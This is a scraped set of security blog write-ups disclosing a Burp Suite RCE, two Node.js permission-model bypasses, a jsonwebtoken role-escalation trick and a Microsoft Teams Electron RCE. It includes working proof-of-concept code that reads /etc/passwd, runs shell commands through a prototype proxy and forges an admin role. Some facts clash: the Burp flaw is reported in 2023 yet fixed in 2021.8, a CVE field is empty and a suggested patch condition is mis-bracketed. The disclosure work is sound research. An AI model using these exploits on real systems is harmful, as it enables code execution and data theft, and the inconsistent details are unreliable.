Patched versions: Burp Suite 2021.8 and later If you&rsquo;re using an affected version, make sure to update to 2021.8 or later. The fix was released in Burp Suite 2021.8.\nHow It Works #The attack scenario requires the victim to be running Burp Suite and scanning a web application:\nA user launches Burp Suite and starts a scan of a web application Burp Suite launches its embedded Chrome instance with remote debugging enabled on a random port The user (or Burp Suite&rsquo;s crawler) navigates to a malicious webpage hosted by an attacker The malicious page uses JavaScript to port scan and identify the remote debugging port The page uses clickjacking to render a button that, when clicked, exploits the XSS vulnerability The exploit uses Chrome&rsquo;s remote debugging APIs to download a malicious user.vmoptions file to \/Applications\/Burp Suite Professional.app\/Contents\/ (on macOS) The malicious file contains -Xmx5m (limiting JVM memory to 5MB) and -XX:OnOutOfMemoryError=open -a Calculator (executing a command when memory is exhausted) When Burp Suite is restarted, it reads the malicious user.vmoptions file, quickly exhausts memory, and executes the attacker&rsquo;s command The proof of concept demonstrates this by opening the Calculator app, but an attacker could execute any arbitrary command with the same permissions as the user running Burp Suite.\nProof of Concept #The proof of concept consists of a malicious HTML file (burp.html) that:\nPerforms JavaScript port scanning to identify the Chrome remote debugging port Uses clickjacking to render an interactive button Exploits the XSS vulnerability to access Chrome&rsquo;s remote debugging WebSocket Uses the remote debugging APIs to download the malicious user.vmoptions file To reproduce the vulnerability:\nDownload the exploit HTML file and host it on a web server:\npython -m http.server Launch Burp Suite and start a new scan of the web server\nOpen a Chrome browser and navigate to the hosted exploit page (e.g., http:\/\/127.0.0.1:8000\/burp.html)\nObserve the JavaScript port scanner identifying the randomized remote debugging port\nClick the &ldquo;CLICK ME!!!&rdquo; button when it appears\nRestart Burp Suite and observe that the Calculator app launches (or whatever command was specified in the exploit)\nThe Impact #This vulnerability is particularly dangerous because:\nFull system compromise: An attacker can execute arbitrary commands on the victim&rsquo;s system with the same permissions as the user running Burp Suite Persistent access: The malicious user.vmoptions file persists across Burp Suite restarts, allowing for persistent command execution Credential theft: An attacker could exfiltrate sensitive data, authentication tokens, or credentials stored on the system Data exfiltration: An attacker could steal sensitive code, files, or other private data from the victim&rsquo;s system The attack is especially concerning because it targets security professionals who are using Burp Suite to test web applications. These users often have elevated permissions and access to sensitive systems, making them high-value targets.\nWhy This Is a Burp Suite Vulnerability #According to Google&rsquo;s security impact guidelines, the Chrome XSS vulnerability used in this attack would typically be considered to have no security impact since Chrome requires additional flags to run (--remote-debugging and --headless) [1]. The root cause of this vulnerability is documented in Chromium Issue 40084203, which details how the XSS vulnerability on chrome-devtools-frontend.appspot.com combined with clickjacking can be exploited to compromise Chrome&rsquo;s remote debugging interface. Additionally, the XSS vector has been public since at least 2016 and reported in multiple Chrome bug tickets [2-6].\nHowever, this is a legitimate Burp Suite vulnerability because:\nBurp Suite could have used the named pipe transport (--remote-debugging-pipe) instead of the websocket transport, which would mitigate this issue Tools like Puppeteer already support the more secure named pipe transport [7] The vulnerability exists in Burp Suite&rsquo;s design choices, not in Chrome itself Disclosure and PortSwigger&rsquo;s Response #This vulnerability was reported to PortSwigger through their security program on October 10, 2023. PortSwigger&rsquo;s security team responded promptly and released a fix in Burp Suite 2021.8. The fix addresses the vulnerability by implementing more secure handling of Chrome&rsquo;s remote debugging interface.\nThe Fix #In Burp Suite 2021.8, PortSwigger addressed this vulnerability by implementing more secure handling of the Chrome remote debugging interface. While the exact technical details of the fix haven&rsquo;t been publicly disclosed, the recommended approach would be to:\nUse the named pipe transport (--remote-debugging-pipe) instead of the websocket transport where possible Implement additional security controls around the remote debugging interface Validate and sanitize any file operations performed through the remote debugging APIs Users should update to Burp Suite 2021.8 or later to protect against this vulnerability.\nTakeaways #This vulnerability highlights several important security lessons:\nDefense in depth: Even when using components with known vulnerabilities, applications should implement additional security controls to mitigate potential exploitation\nSecure defaults: When multiple transport mechanisms are available (websocket vs. named pipe), choose the more secure option by default\nFile system access: Applications should be cautious about allowing file system operations through debugging or remote interfaces, especially when those interfaces are accessible from untrusted sources\nSecurity tool security: Security professionals and the tools they use are high-value targets. These tools should be designed with security as a primary consideration, not an afterthought\nThe fact that this vulnerability affected a security testing tool used by security professionals serves as a reminder that no software is immune to vulnerabilities, and even tools designed to find security issues can themselves have security flaws.\nReferences # Chrome Security Impact Guidelines Chromium Issue 40084203 - Chrome Headless Remote Debugging RCE (Root Cause) Chromium Issue #607939 Chromium Issue #618333 Chromium Issue #619414 Chromium Issue #775527 Chromium Issue #798163 Puppeteer PipeTransport Implementation Burp Suite 2021.8 Release Notes ","date":null,"permalink":"https:\/\/hack.do\/posts\/burp-suite-rce\/","section":"","summary":"Burp Suite remote code execution by leveraging the Chrome remote debugging interface when crawling or scaning.","title":"Burp Suite RCE via Chrome Remote Debugging"},{"content":"While investigating Node.js&rsquo;s experimental permission model, I discovered a critical vulnerability that allows an attacker to bypass process-level restrictions enforced by the --experimental-permission flag by leveraging the built-in inspector module. This vulnerability, assigned CVE-2023-30587, enables arbitrary file system access and child process execution even when these capabilities are explicitly restricted.\nThe Vulnerability #The vulnerability exists in how Node.js handles the Worker class and the inspector module when process-level permissions are enforced. The Worker class can take an argument (the kIsInternal Symbol) to create an &ldquo;internal worker&rdquo; which does not respect the process level restrictions.\nWhile we cannot access Symbol('kIsInternal') directly, the inspector module is not disabled when process level restrictions are in place. The node:inspector module provides an API for interacting with the V8 inspector, which can be used to manipulate the Worker&rsquo;s internal state during construction.\nIf we attach the inspector inside the Worker constructor before new WorkerImpl is created, we can simply change the value of isInternal to bypass permission checks.\nThe root cause is a combination of factors:\nThe inspector module remains accessible even when process-level permissions are enforced The Worker class has an internal mechanism (kIsInternal) that bypasses permission checks The inspector&rsquo;s debugging capabilities allow manipulation of internal variables during Worker construction There&rsquo;s no validation to prevent the inspector from modifying critical permission-related state Affected Versions # Affected versions: Node.js versions with the experimental permission model (tested on Node.js 20.x and earlier versions) Status: This vulnerability affects the experimental permission model feature introduced in Node.js The vulnerability affects any Node.js application running with the --experimental-permission flag, which is used to:\nRestrict file system access to specific paths Prevent child process execution Control access to native addons Enforce security boundaries in Node.js applications How It Works #The attack works by leveraging the inspector module to manipulate the Worker&rsquo;s internal state:\nInspector Access: The inspector module is not disabled when process-level permissions are enforced, allowing us to attach a debugging session Worker Construction: When creating a new Worker, we can use the inspector to set a breakpoint in the Worker constructor State Manipulation: Using a conditional breakpoint, we can modify the isInternal variable to true before WorkerImpl is instantiated Permission Bypass: An internal worker (isInternal = true) bypasses all process-level permission checks, allowing unrestricted file system access and child process execution The key insight is that the inspector&rsquo;s debugging capabilities allow us to inject code that modifies internal variables during the Worker&rsquo;s construction phase, effectively converting a regular worker into an internal worker that ignores permission restrictions.\nProof of Concept #To demonstrate this vulnerability, create the following bypass.js file:\nconst { Session } = require(&#39;node:inspector\/promises&#39;); const session = new Session(); session.connect(); (async ()=&gt;{ await session.post(&#39;Debugger.enable&#39;); await session.post(&#39;Runtime.enable&#39;); global.Worker = require(&#39;node:worker_threads&#39;).Worker; let {result:{ objectId }} = await session.post(&#39;Runtime.evaluate&#39;, { expression: &#39;Worker&#39; }); let { internalProperties } = await session.post(&#34;Runtime.getProperties&#34;, { objectId: objectId }); let {value:{value:{ scriptId }}} = internalProperties.filter(prop =&gt; prop.name == &#39;[[FunctionLocation]]&#39;)[0]; let { scriptSource } = await session.post(&#34;Debugger.getScriptSource&#34;, { scriptId }); \/\/ find the line number where WorkerImpl is called. const lineNumber = scriptSource.substring(0, scriptSource.indexOf(&#34;new WorkerImpl&#34;)).split(&#39;\\n&#39;).length; \/\/ WorkerImpl will bypass permission for internal modules. We can inject the local var &#34;isInternal = true&#34; with a conditional breakpoint. await session.post(&#34;Debugger.setBreakpointByUrl&#34;, { lineNumber: lineNumber, url: &#34;node:internal\/worker&#34;, columnNumber: 0, condition: &#34;((isInternal = true),false)&#34; }); new Worker(` const child_process = require(&#34;node:child_process&#34;); console.log(child_process.execSync(&#34;ls -l&#34;).toString()); console.log(require(&#34;fs&#34;).readFileSync(&#34;\/etc\/passwd&#34;).toString()) `, { eval: true, execArgv: [ &#34;--experimental-permission&#34;, &#34;--allow-fs-read=*&#34;, &#34;--allow-fs-write=*&#34;, &#34;--allow-child-process&#34;, &#34;--no-warnings&#34; ] }); })() Run the following command:\nnode --experimental-permission --allow-fs-read=$(pwd) bypass.js If the policies were not bypassed, we would expect to see an error like:\nnode --experimental-permission --allow-fs-read=$(pwd) safe.js node:internal\/child_process:1103 const result = spawn_sync.spawn(options); ^ Error: Access to this API has been restricted However, with the bypass, the Worker successfully executes the restricted operations, demonstrating that the permission model has been circumvented.\nThe Impact #This vulnerability is particularly dangerous because:\nPermission bypass: An attacker can completely bypass the experimental permission model, which is designed to restrict access to sensitive resources Full system access: Once bypassed, an attacker can read arbitrary files, write to the filesystem, and execute child processes with the same permissions as the Node.js process Security boundary violation: The permission model is intended to provide security boundaries for Node.js applications, and this bypass undermines that entire security model Credential theft: An attacker could read sensitive files including SSH keys, AWS credentials, password files, and other authentication tokens Data exfiltration: An attacker could steal sensitive code, files, or other private data from the system The attack is especially concerning because it targets applications that rely on the experimental permission model to enforce security boundaries. These applications may be running in sensitive environments where file system access and process execution need to be tightly controlled.\nThe Fix #The recommended fix is to disable the inspector module when process-level permissions are being enforced, unless explicitly allowed. In my analysis, I noticed there was already a flag: EnvironmentFlags::kNoCreateInspector. A potential patch would disable the inspector unless --inspect or --inspect-brk were explicitly used:\ndiff --git a\/src\/env.cc b\/src\/env.cc index 571a8ed5ce..b5b7557bd1 100644 --- a\/src\/env.cc +++ b\/src\/env.cc @@ -791,6 +791,11 @@ Environment::Environment(IsolateData* isolate_data, \/\/ spawn\/worker nor use addons unless explicitly allowed by the user if (!options_-&gt;allow_fs_read.empty() || !options_-&gt;allow_fs_write.empty()) { options_-&gt;allow_native_addons = false; + DebugOptions debug_options; + debug_options = options_-&gt;debug_options(); + if (!debug_options.inspector_enabled || !debug_options.break_first_line) { + flags_ = flags_ | EnvironmentFlags::kNoCreateInspector; + } if (!options_-&gt;allow_child_process) { permission()-&gt;Apply(&#34;*&#34;, permission::PermissionScope::kChildProcess); } Alternatively, a more direct approach would be to add an --allow-inspector flag that must be explicitly enabled when using the permission model, making the security implications clear to users.\nWhy This Matters #The experimental permission model is designed to provide security boundaries for Node.js applications, allowing developers to restrict access to file system operations, child processes, and other sensitive resources. This vulnerability demonstrates that powerful debugging capabilities (like the inspector) can be used to bypass these security boundaries if not properly restricted.\nThis vulnerability highlights the importance of:\nDefense in depth: Security features must be designed to prevent bypass through other system capabilities Principle of least privilege: Debugging capabilities should be disabled or restricted when security boundaries are enforced Secure defaults: When security features are enabled, other potentially dangerous features should be disabled by default Explicit opt-in: Powerful debugging capabilities should require explicit opt-in when security restrictions are in place Disclosure #This vulnerability was reported to the Node.js security team and assigned CVE-2023-30587. The Node.js team has addressed this issue in subsequent releases.\nTakeaways #This vulnerability highlights several important security lessons:\nSecurity feature interactions: When implementing security features, it&rsquo;s critical to consider how they interact with other system capabilities. Powerful debugging tools can undermine security boundaries if not properly restricted.\nInternal state manipulation: The ability to manipulate internal state through debugging interfaces can lead to security bypasses. Security-critical state should be protected from modification through debugging APIs.\nPermission model design: Permission models must be designed to prevent bypass through other system capabilities. The inspector module should be disabled or restricted when permissions are enforced.\nExplicit security controls: When security features are enabled, other potentially dangerous features should be explicitly controlled. An --allow-inspector flag would make the security implications clear to users.\nTesting security boundaries: Security features should be tested not just for their intended functionality, but also for potential bypasses through other system capabilities.\nThe fact that this vulnerability affects a security feature designed to provide security boundaries serves as a reminder that security features themselves must be carefully designed and tested to prevent bypass through other system capabilities.\nReferences # Node.js Inspector Module Documentation Node.js Permission Model Documentation CVE-2023-30587 Node.js Security Releases ","date":null,"permalink":"https:\/\/hack.do\/posts\/cve-2023-30587\/","section":"","summary":"Process-based permissions can be bypassed with the &ldquo;inspector&rdquo; module in Node.js","title":"CVE-2023-30587 - Node.js Permission Bypass via Inspector Module"},{"content":"Overview #The Node jsonwebtoken library behaves differently depending on whether you sign an object payload or a string payload. That difference can turn into an authentication\/authorization bypass if an application assumes it is always working with an object and tries to \u201clock\u201d fields (like role) by mutating the payload before signing.\nThis is primarily an application-level bug (failure to validate user-controlled types). However, jsonwebtoken can make the failure mode surprising: a payload signed as a string may be returned from verify() as an object, which means downstream code can observe a different type than the one that was originally signed.\nThe Inconsistency #When signing an object, the token header includes typ: &quot;JWT&quot;:\n{ &#34;alg&#34;: &#34;HS256&#34;, &#34;typ&#34;: &#34;JWT&#34; } When signing a string, the token header typically omits typ:\n{ &#34;alg&#34;: &#34;HS256&#34; } In node-jws, payload handling is gated on header type, and this is handled sensibly: https:\/\/github.com\/auth0\/node-jws\/blob\/master\/lib\/verify-stream.js#L70\nHowever, in node-jsonwebtoken, decode() runs the payload through JSON.parse regardless of that check: https:\/\/github.com\/auth0\/node-jsonwebtoken\/blob\/master\/decode.js#L10\nThis makes it possible for a payload that was originally a string (e.g. &quot;{\\&quot;role\\&quot;:\\&quot;admin\\&quot;}&quot;) to be returned as an object ({ &quot;role&quot;: &quot;admin&quot; }) during verification.\njsonwebtoken documentation even calls out the json option:\njson: force JSON.parse on the payload even if the header doesn&rsquo;t contain &quot;typ&quot;:&quot;JWT&quot;. But with the current behavior, it\u2019s effectively as if that option is always true.\nWhy This Becomes a Bypass #Many apps implement \u201cset server-side fields then sign\u201d like this:\n\/\/ make sure new users have the &#34;user&#34; role user.role = &#34;user&#34;; let token = jwt.sign(user, secret); If user is actually a string, user.role = &quot;user&quot; is a no-op in JavaScript (it does not throw in typical Node\/CommonJS execution). The application believes it has enforced the role, but it hasn\u2019t changed anything.\nIf the attacker supplies a string that looks like JSON, and jsonwebtoken later returns it from verify() as an object, the attacker\u2019s chosen fields become real object properties in req.user.\nProof of Concept App #Full project: https:\/\/gist.github.com\/matt-\/975fa0d5d4c424df56b3bd3d24372627\nHosted demo: https:\/\/jwt.up.railway.app\nRelevant vulnerable logic: https:\/\/gist.github.com\/matt-\/975fa0d5d4c424df56b3bd3d24372627#file-index-js-L40\nExpected (safe) request flow #Register with an object:\ncurl --request POST \\ --url https:\/\/jwt.up.railway.app\/register \\ --header &#39;content-type: application\/json&#39; \\ --data &#39;{&#34;user&#34;: {&#34;name&#34;: &#34;matt&#34;,&#34;role&#34;: &#34;asdf&#34;}}&#39; The server assigns role = &quot;user&quot; before signing. Confirm via \/me:\ncurl --request GET \\ --url https:\/\/jwt.up.railway.app\/me \\ --header &#39;authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoibWF0dCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjc1NDA0MTI0fQ.DXLyjm0l8qBd7Zgy_DPtz5bYItxsBIHFuM72T1dTaJE&#39; Response:\n{&#34;name&#34;:&#34;matt&#34;,&#34;role&#34;:&#34;user&#34;,&#34;iat&#34;:1675404124} Bypass #Register with a string that contains JSON:\ncurl --request POST \\ --url https:\/\/jwt.up.railway.app\/register \\ --header &#39;content-type: application\/json&#39; \\ --data &#39;{&#34;user&#34;: &#34;{\\&#34;name\\&#34;: \\&#34;matt\\&#34;, \\&#34;role\\&#34;: \\&#34;admin\\&#34;}&#34;}&#39; Result:\n{&#34;name&#34;:&#34;matt&#34;,&#34;role&#34;:&#34;admin&#34;} At a high level:\nThe server attempts user.role = &quot;user&quot; (no-op because user is a string) The server signs the string jsonwebtoken.verify() returns the payload as an object (due to forced parsing) Downstream authorization checks now see req.user.role === &quot;admin&quot; Impact # AuthZ bypass in real apps: Any application that mutates\/overrides fields on an assumed-object payload (e.g. role, isAdmin, tenantId, scopes) before signing can be bypassed if it accepts attacker-controlled payload types. Surprising failure mode: Even if the app logs\/inspects types at signing time, the verified token payload may come back with a different type than expected. This is best described as an application bug (missing validation). The library behavior is still worth understanding because it can make this class of bug easier to miss during review.\nDisclosure \/ Response #This was reported upstream and was not treated as a library vulnerability. The response was:\nFirst of all, thanks for the submission. We have reviewed your report and in our estimation this seems to be an issue with the business logic, rather than a problem with the library. The POC code assumes that user is an object, however if user is a string, the assignment to the role property does not modify the String object.\nViewing the logic in the POC you supplied:\napp.post(&#34;\/register&#34;, async (req, res, next) =&gt; { let user = req.body.user; \/\/ The assignment to the **role** property does not modify the String object. user.role = &#34;user&#34;; \/\/ user.role has not been modified if user is a String let token = jwt.sign( user, secret ); res.send({token}) }); The library signs the data that it receives, in this case a string containing &quot;role&quot;: &quot;admin&quot;, it is our view that developer in this case should validate the user input before calling sign. Please feel free to reach out to us, in case you have any further questions.\nWe appreciate your efforts in keeping Auth0 secure\nTakeaways # If you intend to sign an object and then use object properties for authorization, enforce that the payload is an object before you mutate\/sign it. Prefer constructing a new payload (server-controlled fields win) over mutating untrusted inputs in place. Remediation #Application-side (recommended) # Validate types: Reject non-objects for payloads you intend to mutate\/sign. if (typeof user !== &#34;object&#34; || user === null || Array.isArray(user)) { return res.status(400).send({ error: &#34;user must be an object&#34; }); } Construct new objects: Don\u2019t mutate untrusted inputs in place. const payload = { name: user.name, role: &#34;user&#34; }; const token = jwt.sign(payload, secret); Library-side (suggested improvement) #jsonwebtoken should not unconditionally JSON.parse payloads returned by node-jws. It should respect the typ\/json gating so that:\nstring payloads remain strings unless the caller explicitly opts into forced JSON parsing behavior matches the documented intent of the json option ","date":null,"permalink":"https:\/\/hack.do\/posts\/node-jsonwebtoken-string-payload-auth-bypass\/","section":"","summary":"A string-vs-object handling mismatch can create surprising type confusion: apps that mutate assumed-object payloads before signing may be bypassed if untrusted input is a string that later verifies as an object.","title":"jsonwebtoken: String Payload Parsing Inconsistency Leads to Auth Bypass"},{"content":"While investigating Node.js&rsquo;s experimental permission model, I discovered a critical vulnerability that allows an attacker to bypass process-level restrictions enforced by the --experimental-permission flag by leveraging the built-in WASI (WebAssembly System Interface) module. This vulnerability enables arbitrary file system access even when these capabilities are explicitly restricted.\nThe Vulnerability #The vulnerability exists in how Node.js handles the WASI module when process-level permissions are enforced. The --experimental-permission flag is designed to restrict file system access through the fs module, but the WASI module&rsquo;s preopens object allows mapping sandbox directory structures to real paths on the host machine, effectively bypassing these permission checks.\nThe root cause is a combination of factors:\nThe WASI module is not disabled when process-level permissions are enforced The preopens object in WASI allows direct mapping of virtual paths to real filesystem paths WASI file operations bypass the permission checks that apply to the fs module There&rsquo;s no validation to ensure WASI preopens respect the permission model restrictions While the Node.js documentation does call out that permissions apply to &ldquo;the ability to access the file system through the fs module&rdquo;, the WASI module provides an alternative path to filesystem access that completely circumvents these restrictions.\nAffected Versions # Affected versions: Node.js versions with the experimental permission model and WASI support (tested on Node.js 20.x and later versions) Status: This vulnerability affects the experimental permission model feature when used alongside the WASI module The vulnerability affects any Node.js application running with the --experimental-permission flag, which is used to:\nRestrict file system access to specific paths Prevent child process execution Control access to native addons Enforce security boundaries in Node.js applications How It Works #The attack works by leveraging the WASI module&rsquo;s preopens functionality:\nWASI Access: The WASI module remains accessible even when process-level permissions are enforced Preopens Configuration: The preopens object in WASI allows mapping virtual directory paths to real filesystem paths Permission Bypass: WASI file operations bypass the permission checks that apply to the fs module File Access: A WebAssembly module compiled for WASI can then access files through these preopens, reading or writing to paths that should be restricted The key insight is that the WASI module provides a separate filesystem access path that doesn&rsquo;t go through the same permission checks as the fs module. By configuring preopens to map the root directory (\/) to the actual root directory, a WASI-compiled WebAssembly module can access any file on the system, regardless of the permission restrictions in place.\nProof of Concept #To demonstrate this vulnerability, create the following files:\nbypass.js:\n&#34;use strict&#34;; \/\/ zig cc --target=wasm32-wasi -shared -Os -s -o file.wasm file.c \/\/ cat file.wasm | openssl base64 \/\/ node --experimental-permission --allow-fs-read=$(pwd) bypass.js const { WASI } = require(&#34;wasi&#34;); console.log(process.permission.has(&#39;fs.read&#39;, &#39;\/etc\/passwd&#39;)); \/\/ false console.log(&#34;--------------------------------------------------&#34;) const wasi = new WASI({ version: &#39;preview1&#39;, preopens: { &#39;\/&#39;: &#39;\/&#39; }, args: [&#39;\/etc\/passwd&#39;], }); (async () =&gt; { const wasm = await WebAssembly.compile(getData()); const instance = await WebAssembly.instantiate(wasm, { wasi_snapshot_preview1: wasi.wasiImport }); wasi.start(instance); })(); function getData(){ const data = ` ** CONTENT FROM BASE64 ENCODED FILE ** `; return new Buffer.from(data, &#39;base64&#39;); } file.c:\n#include &lt;assert.h&gt; #include &lt;stdio.h&gt; int main(int argc, char** argv) { FILE* file = fopen(argv[0], &#34;r&#34;); assert(file != NULL); char c = fgetc(file); while (c != EOF) { int wrote = fputc(c, stdout); assert(wrote != EOF); c = fgetc(file); } } Steps to reproduce:\nCompile the WebAssembly file:\nzig cc --target=wasm32-wasi -shared -Os -s -o file.wasm file.c (or use any other C to WASM compiler)\nBase64 encode the compiled file:\ncat file.wasm | openssl base64 and paste that into the bypass.js file where it says ** CONTENT FROM BASE64 ENCODED FILE **\nRun the bypass:\nnode --experimental-permission --allow-fs-read=$(pwd) bypass.js This will display the contents of \/etc\/passwd, demonstrating that the permission restriction has been bypassed. Even though process.permission.has('fs.read', '\/etc\/passwd') returns false, the WASI module successfully reads the file.\nIf the policies were not bypassed, we would expect to see an error when attempting to read \/etc\/passwd through the fs module. However, with the WASI bypass, the file is successfully read and displayed, demonstrating that the permission model has been circumvented.\nThe Impact #This vulnerability is particularly dangerous because:\nPermission bypass: An attacker can completely bypass the experimental permission model, which is designed to restrict access to sensitive resources Full filesystem access: Once bypassed, an attacker can read arbitrary files, including sensitive system files like \/etc\/passwd, SSH keys, AWS credentials, password files, and other authentication tokens Security boundary violation: The permission model is intended to provide security boundaries for Node.js applications, and this bypass undermines that entire security model Credential theft: An attacker could read sensitive files including SSH keys, AWS credentials, password files, and other authentication tokens Data exfiltration: An attacker could steal sensitive code, files, or other private data from the system The attack is especially concerning because it targets applications that rely on the experimental permission model to enforce security boundaries. These applications may be running in sensitive environments where file system access needs to be tightly controlled.\nThe Fix #The recommended fix is to add permission checks when configuring WASI preopens. A check should be applied to ensure that any path being mapped in the preopens object is allowed by the permission model.\nA potential patch could be applied at:\nlib\/wasi.js around line 89 where preopens are processed Or on the native side in src\/node_wasi.cc where WASI operations are handled The fix should validate that each preopen path is allowed by the permission model:\nif (permission.isEnabled() &amp;&amp; (permission.has(&#39;fs.read&#39;, value) === false) || (permission.has(&#39;fs.write&#39;, value) === false)) { throw new Error(&#39;Access to this path has been restricted&#39;); } This would ensure that WASI preopens respect the same permission restrictions as the fs module, preventing the bypass.\nWhy This Matters #The experimental permission model is designed to provide security boundaries for Node.js applications, allowing developers to restrict access to file system operations, child processes, and other sensitive resources. This vulnerability demonstrates that alternative filesystem access paths (like WASI) can be used to bypass these security boundaries if not properly restricted.\nThis vulnerability highlights the importance of:\nComprehensive permission enforcement: Security features must apply to all paths that can access restricted resources, not just the primary APIs Defense in depth: Security features must be designed to prevent bypass through other system capabilities Principle of least privilege: Alternative access paths should be disabled or restricted when security boundaries are enforced Secure defaults: When security features are enabled, other potentially dangerous features should be disabled by default or properly restricted Disclosure #This vulnerability has been reported to the Node.js security team. The issue demonstrates that the permission model needs to be applied consistently across all filesystem access mechanisms, not just the fs module.\nReferences # Node.js WASI Module Documentation Node.js Permission Model Documentation WASI Specification Node.js WASI Implementation Node.js WASI Native Implementation ","date":null,"permalink":"https:\/\/hack.do\/posts\/nodejs-wasi-permission-bypass\/","section":"","summary":"Restrictions made with the &ndash;experimental-permission flag can be bypassed with the built-in wasi module","title":"Node.js Permission Bypass via WASI Module"},{"content":"While testing Microsoft Teams Desktop applications, I discovered a critical vulnerability that allows an attacker to execute arbitrary code on a user&rsquo;s machine by exploiting a missing security flag in Electron&rsquo;s authentication window. This vulnerability, assigned CVE-2020-17091, enables Remote Code Execution (RCE) through a malicious Teams application that can bypass Electron&rsquo;s security controls.\nThe Vulnerability #The vulnerability exists in how Microsoft Teams Desktop handles authentication windows for user-developed tab applications. Normally, content from a user-developed tab application is confined to an iframe with proper security controls and sandboxing. However, when an application calls microsoftTeams.authentication.authenticate({, it creates a new window outside of the sandbox to a URL controlled by the attacker.\nWhile this new authentication window does have the nodeIntegration flag set to false, it is missing the critical contextIsolation flag. According to Electron&rsquo;s security documentation, context isolation is an Electron feature that allows developers to run code in preload scripts and in Electron APIs in a dedicated JavaScript context. In practice, this means that global objects like Array.prototype.push or JSON.parse cannot be modified by scripts running in the renderer process.\nWithout context isolation, user-controlled content can abuse global object prototypes to intercept and manipulate Electron&rsquo;s internal function calls, leading to arbitrary code execution.\nAffected Versions # Affected versions: Microsoft Teams Desktop 1.3.2 and earlier versions CVE: Status: Fixed in later versions (fix was progressively rolled out starting April 2019) The vulnerability affects any Microsoft Teams Desktop installation where a user installs and interacts with a malicious Teams application.\nHow It Works #The attack works by exploiting the missing contextIsolation flag in the authentication window:\nApplication Installation: An attacker creates a malicious Teams application that calls microsoftTeams.authentication.authenticate() Window Creation: When the authentication method is called, Teams creates a new window outside the sandbox to a URL controlled by the attacker Missing Security Flag: This window has nodeIntegration: false but lacks contextIsolation: true Prototype Pollution: The attacker&rsquo;s JavaScript can modify global object prototypes (like Function.prototype.call) Code Execution: When Electron&rsquo;s internal code calls functions on these prototypes, the attacker&rsquo;s malicious code intercepts and executes arbitrary commands The key exploit code abuses Function.prototype.call to intercept calls to Electron&rsquo;s process object:\nFunction.prototype.call= new Proxy(Function.prototype.call, { apply: function(target, thisArg, argumentsList) { var ret = Reflect.apply(target, thisArg, argumentsList);\tif(argumentsList[0].pid){ \/\/ this is probably a process ref argumentsList[0].mainModule.require(&#39;child_process&#39;).execSync(&#39;open \/Applications\/Calculator.app&#39;); } return ret } }); location.href=&#34;done.html&#34; There is an eventual call through the process.on('exit', event in Electron core that is called before page navigation. In this call, a callback event is handled with handler.call(self) where self is a reference to the process object. By intercepting Function.prototype.call, the attacker can detect when the process object is passed and use it to require Node.js modules and execute arbitrary commands.\nA good explanation of this type of attack can be found in Masato Kinugawa&rsquo;s presentation on Electron security.\nProof of Concept #To demonstrate this vulnerability:\nInstall the &ldquo;App Studio&rdquo; app in Microsoft Teams Click on &ldquo;Manifest Editor&rdquo; Click &ldquo;Import an existing app&rdquo; Install the exported app from: https:\/\/gist.github.com\/matt-\/1a6f29a8b233e2cd7c5228ca523e5bf1\/raw\/d61d4db640bcb5f13f3e36d3055dfd70be287ae5\/TeamsPOC.zip Follow prompts to install the Tab application into a channel Click on the tab from the desktop application The payload was written and tested on macOS but could easily be modified for Windows. The execution is happening in the internal Node process and can fork off any process or edit\/read any file the current user has access to.\nCode Repository #All code is available in a gist at: https:\/\/gist.github.com\/matt-\/1a6f29a8b233e2cd7c5228ca523e5bf1#file-index-html\nThe Impact #This vulnerability is particularly dangerous because:\nFull system compromise: An attacker can run arbitrary commands on the victim&rsquo;s system, potentially leading to persistent access Credential theft: The attacker could exfiltrate sensitive authentication tokens stored on the system, including Microsoft credentials, SSH keys, or environment variables Data exfiltration: An attacker could steal sensitive files, code, or other private data stored on the victim&rsquo;s system Lateral movement: The attacker could use the compromised system to move laterally within an organization&rsquo;s network The attack is especially insidious because it requires minimal user interaction. Simply installing and clicking on a Teams application tab is enough ofr it to execute. The user doesn&rsquo;t need to explicitly execute any suspicious files; the vulnerability is triggered through normal Teams application interaction.\nDisclosure Timeline #The disclosure process for this vulnerability was lengthy and complex:\nSep 01, 2018 - Reported to MSRC Sep 14, 2018 - Confirmation (Ask for Windows POC) Sep 18, 2018 - Sent Windows POC Nov 27, 2018 - Request for update \/ BBP Questions Dec 03, 2018 - Response (We will get back to you) Mar 25, 2019 - Request for update Mar 25, 2019 - All Desktop apps excluded from BBP. No issue update. Apr 16, 2019 - Rolling out fix, request for repro May 06, 2019 - Still reproducible \/ Suggested fix not in place May 07, 2019 - Suggested fix not being used. &ldquo;would break too much&rdquo; Jun 19, 2019 - The patch was a &ldquo;progressive&rdquo; rollout and only went to 10% of users Jun 20, 2019 - Reversed the feature flag enableRemoteModuleFilteringV5 out and sent update confirming that this would not fix the issue Jun 20, 2019 - MSRC confirms and will pass the info along Jul 18, 2019 - New version and electron update breaks exact POC. Warned of incomplete fix. Request coordinated disclosure Aug 02, 2019 - New POC sent Aug 15, 2019 - They are working on a &ldquo;more comprehensive fix&rdquo; Aug 27, 2019 - Some changes to remote-require break POC, new POC sent Oct 14, 2019 - Request for update May 13, 2020 - MSRC Request reset May 20, 2020 - Slight fix to payload on 1.3.00.9271 and it is still exploitable October 27, 2020 - CVE-2020-17091 assigned Nov 16, 2020 - Issue closed and CVE published Expected vs Observed Result #Expected Result: All windows would use contextIsolation\nObserved Result: contextIsolation is not used in authentication windows\nThe Fix #The fix requires enabling contextIsolation for all windows, including authentication windows created by microsoftTeams.authentication.authenticate(). This ensures that global object prototypes cannot be modified by scripts running in the renderer process, preventing the prototype pollution attack that leads to code execution.\nMicrosoft implemented a fix that was progressively rolled out, though the initial fix attempt was incomplete and required multiple iterations to fully address the vulnerability.\nTakeaways #This vulnerability highlights several important security lessons:\nElectron security best practices: When using Electron, it&rsquo;s critical to follow all security recommendations, including enabling contextIsolation for all windows that load remote content, not just some windows.\nDefense in depth: Even with nodeIntegration: false, other security flags like contextIsolation are essential. Security is not a single checkbox but requires multiple layers of protection.\nPrototype pollution attacks: The ability to modify global object prototypes can lead to serious security vulnerabilities, especially in environments where untrusted code runs alongside system code.\nProgressive rollouts and security: Security fixes should be applied comprehensively, not through progressive rollouts that leave users vulnerable. All users should receive security patches simultaneously.\nTesting security fixes: When implementing security fixes, it&rsquo;s important to test thoroughly and ensure the fix actually addresses the vulnerability, not just breaks a specific proof of concept.\nThe fact that this vulnerability existed for over two years from initial report to CVE assignment demonstrates the complexity of fixing security issues in large applications, but also highlights the importance of comprehensive security fixes rather than partial mitigations.\nReferences # Electron Security Documentation CVE-2020-17091 Proof of Concept Video Proof of Concept Code Electron Context Isolation 